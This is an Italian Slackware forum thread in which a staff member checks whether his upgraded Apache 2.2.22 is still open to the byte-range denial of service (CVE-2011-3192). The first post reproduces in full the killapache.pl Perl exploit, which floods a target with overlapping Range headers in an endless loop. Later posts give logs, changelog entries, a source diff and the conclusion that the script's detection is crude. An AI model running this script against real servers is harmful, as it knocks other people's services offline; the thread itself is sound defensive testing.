[RISOLTO] aggiornamento apache: host SEEMS vuln

Postate qui per tutte le discussioni legate alla sicurezza di Linux/Slackware

Moderatore: Staff

Regole del forum
1) Citare sempre la versione di Slackware usata, la versione del Kernel e magari anche la versione della libreria coinvolta. Questi dati aiutano le persone che possono rispondere.
2) Specificare se discussione/suggerimento o richiesta d'aiuto.
3) Leggere attentamente le risposte ricevute.
4) Scrivere i messaggi con il colore di default, evitare altri colori.
5) Scrivere in Italiano o in Inglese, se possibile grammaticalmente corretto, evitate stili di scrittura poco chiari, quindi nessuna abbreviazione tipo telegramma o scrittura stile SMS o CHAT.
6) Appena registrati è consigliato presentarsi nel forum dedicato.

La non osservanza delle regole porta a provvedimenti di vari tipo da parte dello staff, in particolare la non osservanza della regola 5 porta alla cancellazione del post e alla segnalazione dell'utente. In caso di recidività l'utente rischia il ban temporaneo.
Rispondi
Avatar utente
ZeroUno
Staff
Staff
Messaggi: 5441
Iscritto il: ven 2 giu 2006, 14:52
Nome Cognome: Matteo Rossini
Slackware: current
Kernel: slack-current
Desktop: ktown-latest
Distribuzione: 01000000-current
Località: Roma / Castelli
Contatta:

[RISOLTO] aggiornamento apache: host SEEMS vuln

Messaggio da ZeroUno »

Salve.

Per risolvere la vulnerabilità del byterange ho aggiornato ad apache 2.2.22

Ho lanciato lo script perl kill-apache:

Codice: Seleziona tutto

#!/usr/bin/perl
##Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#
 
use IO::Socket;
use Parallel::ForkManager;
 
sub usage {
    print "Apache Remote Denial of Service (memory exhaustion)\n";
    print "by Kingcope\n";
    print "usage: perl killapache.pl <host> [numforks]\n";
    print "example: perl killapache.pl www.example.com 50\n";
}
 
sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
     
$pm = new Parallel::ForkManager($numforks);
 
$|=1;
srand(time());
$p = "";                                                                                                                                                     
for ($k=0;$k<1300;$k++) {
    $p .= ",5-$k";
}
 
for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;  
     
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                                 Proto    => 'tcp');
 
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
 
while(<$sock>) {
}
 $pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}
 
sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                                 Proto    => 'tcp');
 
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
 
$x = <$sock>;
if ($x =~ /Partial/) {
    print "host seems vuln\n";
    return 1;  
} else {
    return 0;  
}
}
 
if ($#ARGV < 0) {
    usage;
    exit;  
}
 
if ($#ARGV > 1) {
    $numforks = $ARGV[1];
} else {$numforks = 50;}
 
$v = testapache();
if ($v == 0) {
    print "Host does not seem vulnerable\n";
    exit;  
}
while(1) {
killapache();
}
e l'esito è:

Codice: Seleziona tutto

host seems vuln
Ho provato a lasciare ByteRanges commentato, a metterlo a 200 e metterlo a 20, ma la situazione non cambia.

Come mai?
Ultima modifica di ZeroUno il mar 27 mar 2012, 12:12, modificato 1 volta in totale.
Packages finder: slakfinder.org | Slackpkg+, per aggiungere repository a slackpkg

Codice: Seleziona tutto

1011010 1100101 1110010 1101111 - 0100000 - 1010101 1101110 1101111

Avatar utente
ZeroUno
Staff
Staff
Messaggi: 5441
Iscritto il: ven 2 giu 2006, 14:52
Nome Cognome: Matteo Rossini
Slackware: current
Kernel: slack-current
Desktop: ktown-latest
Distribuzione: 01000000-current
Località: Roma / Castelli
Contatta:

Re: aggiornamento apache: host seems vuln

Messaggio da ZeroUno »

Nota: qualche mese fa ho compilato con le stesse configurazioni apache 2.2.21+openssl 1.0.0e e questo risultava NON vulnerabile.

EDIT: da http://svn.apache.org/repos/asf/httpd/h ... .x/CHANGES
Changes with Apache 2.2.22

*) Fix a regression introduced by the CVE-2011-3192 byterange fix in 2.2.20:
A range of '0-' will now return 206 instead of 200. PR 51878.
[Jim Jagielski]

*) Example configuration: Fix entry for MaxRanges (use "unlimited" instead
of "0"). [Rainer Jung]


Changes with Apache 2.2.21

*) Fix a regression introduced by the CVE-2011-3192 byterange fix in 2.2.20.
PR 51748. [<lowprio20 gmail.com>]


Changes with Apache 2.2.20

*) SECURITY: CVE-2011-3192 (cve.mitre.org)
core: Fix handling of byte-range requests to use less memory, to avoid
denial of service. If the sum of all ranges in a request is larger than
the original file, ignore the ranges and send the complete file.
PR 51714. [Stefan Fritsch, Jim Jagielski, Ruediger Pluem, Eric Covener]
Confermo che ora restituisce 206, ma non è che questo introduce qualche bug? Se non sistemo la cosa devo mettere il 2.2.21

al lancio del killer-apache:

log apache 2.2.21:

Codice: Seleziona tutto

127.0.0.1 - - [20/Mar/2012:13:02:25 +0100] "HEAD / HTTP/1.1" 200 -
log apache 2.2.22:

Codice: Seleziona tutto

127.0.0.1 - - [20/Mar/2012:12:48:34 +0100] "HEAD / HTTP/1.1" 206 -
127.0.0.1 - - [20/Mar/2012:12:48:34 +0100] "HEAD / HTTP/1.1" 206 -
127.0.0.1 - - [20/Mar/2012:12:48:34 +0100] "HEAD / HTTP/1.1" 206 -
127.0.0.1 - - [20/Mar/2012:12:48:34 +0100] "HEAD / HTTP/1.1" 206 -
127.0.0.1 - - [20/Mar/2012:12:48:34 +0100] "HEAD / HTTP/1.1" 206 -
127.0.0.1 - - [20/Mar/2012:12:48:34 +0100] "HEAD / HTTP/1.1" 206 -
127.0.0.1 - - [20/Mar/2012:12:48:34 +0100] "HEAD / HTTP/1.1" 206 -
...
In entrambi maxrange è commentato.
Packages finder: slakfinder.org | Slackpkg+, per aggiungere repository a slackpkg

Codice: Seleziona tutto

1011010 1100101 1110010 1101111 - 0100000 - 1010101 1101110 1101111

Avatar utente
ZeroUno
Staff
Staff
Messaggi: 5441
Iscritto il: ven 2 giu 2006, 14:52
Nome Cognome: Matteo Rossini
Slackware: current
Kernel: slack-current
Desktop: ktown-latest
Distribuzione: 01000000-current
Località: Roma / Castelli
Contatta:

Re: aggiornamento apache: host seems vuln

Messaggio da ZeroUno »

NOTA: RISULTA VULNERABILE ANCHE IL 2.4.1 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

EDIT: ED ANCHE IL 2.2.22 DI SLACKWARE (ALMENO SU CURRENT64)!!!!!!
Packages finder: slakfinder.org | Slackpkg+, per aggiungere repository a slackpkg

Codice: Seleziona tutto

1011010 1100101 1110010 1101111 - 0100000 - 1010101 1101110 1101111

Avatar utente
ZeroUno
Staff
Staff
Messaggi: 5441
Iscritto il: ven 2 giu 2006, 14:52
Nome Cognome: Matteo Rossini
Slackware: current
Kernel: slack-current
Desktop: ktown-latest
Distribuzione: 01000000-current
Località: Roma / Castelli
Contatta:

Re: aggiornamento apache: host seems vuln

Messaggio da ZeroUno »

Ho fatto una prova. Ho compilato apache 2.2.21 introducendo le modifiche al byterange del 2.2.22 e questo diventa vulnerabile. Viceversa ho compilato apache 2.2.22 eliminando le modifiche al byterange e questo diventa non vulnerabile:

Codice: Seleziona tutto

diff -ur httpd-2.2.21/modules/http/byterange_filter.c httpd-2.2.22/modules/http/byterange_filter.c
--- httpd-2.2.21/modules/http/byterange_filter.c        2011-09-08 12:41:15.000000000 +0200
+++ httpd-2.2.22/modules/http/byterange_filter.c        2011-09-28 23:48:45.000000000 +0200
@@ -500,6 +500,20 @@
             }
             else {                  /* "5-" */
                 end = clength - 1;
+                /*
+                 * special case: 0-
+                 *   ignore all other ranges provided
+                 *   return as a single range: 0-
+                 */
+                if (start == 0) {
+                    apr_array_clear(*indexes);
+                    idx = (indexes_t *)apr_array_push(*indexes);
+                    idx->start = start;
+                    idx->end = end;
+                    sum_lengths = clength;
+                    num_ranges = 1;
+                    break;
+                }
             }
         }

@@ -526,9 +540,9 @@
         /* If all ranges are unsatisfiable, we should return 416 */
         return -1;
     }
-    if (sum_lengths >= clength) {
+    if (sum_lengths > clength) {
         ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r,
-                      "Sum of ranges not smaller than file, ignoring.");
+                      "Sum of ranges larger than file, ignoring.");
         return 0;
     }
Packages finder: slakfinder.org | Slackpkg+, per aggiungere repository a slackpkg

Codice: Seleziona tutto

1011010 1100101 1110010 1101111 - 0100000 - 1010101 1101110 1101111

Avatar utente
ZeroUno
Staff
Staff
Messaggi: 5441
Iscritto il: ven 2 giu 2006, 14:52
Nome Cognome: Matteo Rossini
Slackware: current
Kernel: slack-current
Desktop: ktown-latest
Distribuzione: 01000000-current
Località: Roma / Castelli
Contatta:

Re: aggiornamento apache: host seems vuln

Messaggio da ZeroUno »

Ormai ho deciso. Installo il 2.2.22 con il rollback del byterange_filter.c a 2.2.21; i test li ho fatti e funge.

Nota: ho provato a mettere, nella configurazione, MaxRange a 1 e risulta ancora vulnerabile (o meglio, forse non lo è ma resta di fatto che la cpu mi sale a 15% e i log mi fanno migliaia di righe in pochi secondi; già questo lo ritengo un dos perchè mi riempirebbe il filesystem con poco tempo). Non risulto vulnerabile solo se metto MaxRange a none.
Packages finder: slakfinder.org | Slackpkg+, per aggiungere repository a slackpkg

Codice: Seleziona tutto

1011010 1100101 1110010 1101111 - 0100000 - 1010101 1101110 1101111

Avatar utente
ZeroUno
Staff
Staff
Messaggi: 5441
Iscritto il: ven 2 giu 2006, 14:52
Nome Cognome: Matteo Rossini
Slackware: current
Kernel: slack-current
Desktop: ktown-latest
Distribuzione: 01000000-current
Località: Roma / Castelli
Contatta:

[RISOLTO] aggiornamento apache: host seems vuln

Messaggio da ZeroUno »

A quanto pare "host SEEMS vuln" != "host IS vuln"

Quindi non è necessario il rollback della patch (che renderebbe il byte-range fuori rfc).
Tuttavia un tentativo di attacco semplice mi riempirebbe il filesystem di log in pochi minuti generando così un altro tipo di DoS.

Per l'uso che ne faccio io va benissimo "MaxRange none" (si tratta di tutti reverse proxy senza alcun contenuto statico in htdocs)


Comunque non sono il solo ad aver notato l'anomalia di killapache.pl
https://issues.apache.org/bugzilla/show ... =51878#c11
Eric Covener 2012-03-21 12:04:32 UTC
(In reply to comment #10)
> When "killapache.pl" script is executed against Opensource Apache 2.2.22
> Windows binary, it shows "host seems vuln" message. This behaviour was not
> observed in Apache 2.2.21 version. Whether this means CVE-2011-3192
> vulnerability is re-introduced in Opensource Apache 2.2.22 version while fixing
> the below byterange regression?
>
> *) Fix a regression introduced by the CVE-2011-3192 byterange fix in 2.2.20:
> A range of '0-' will now return 206 instead of 200. PR 51878.
> [Jim Jagielski]

No, it means killapache.pl has crude detection for vulnerable hosts. It flags
any system that responds to range headers.
Packages finder: slakfinder.org | Slackpkg+, per aggiungere repository a slackpkg

Codice: Seleziona tutto

1011010 1100101 1110010 1101111 - 0100000 - 1010101 1101110 1101111

Rispondi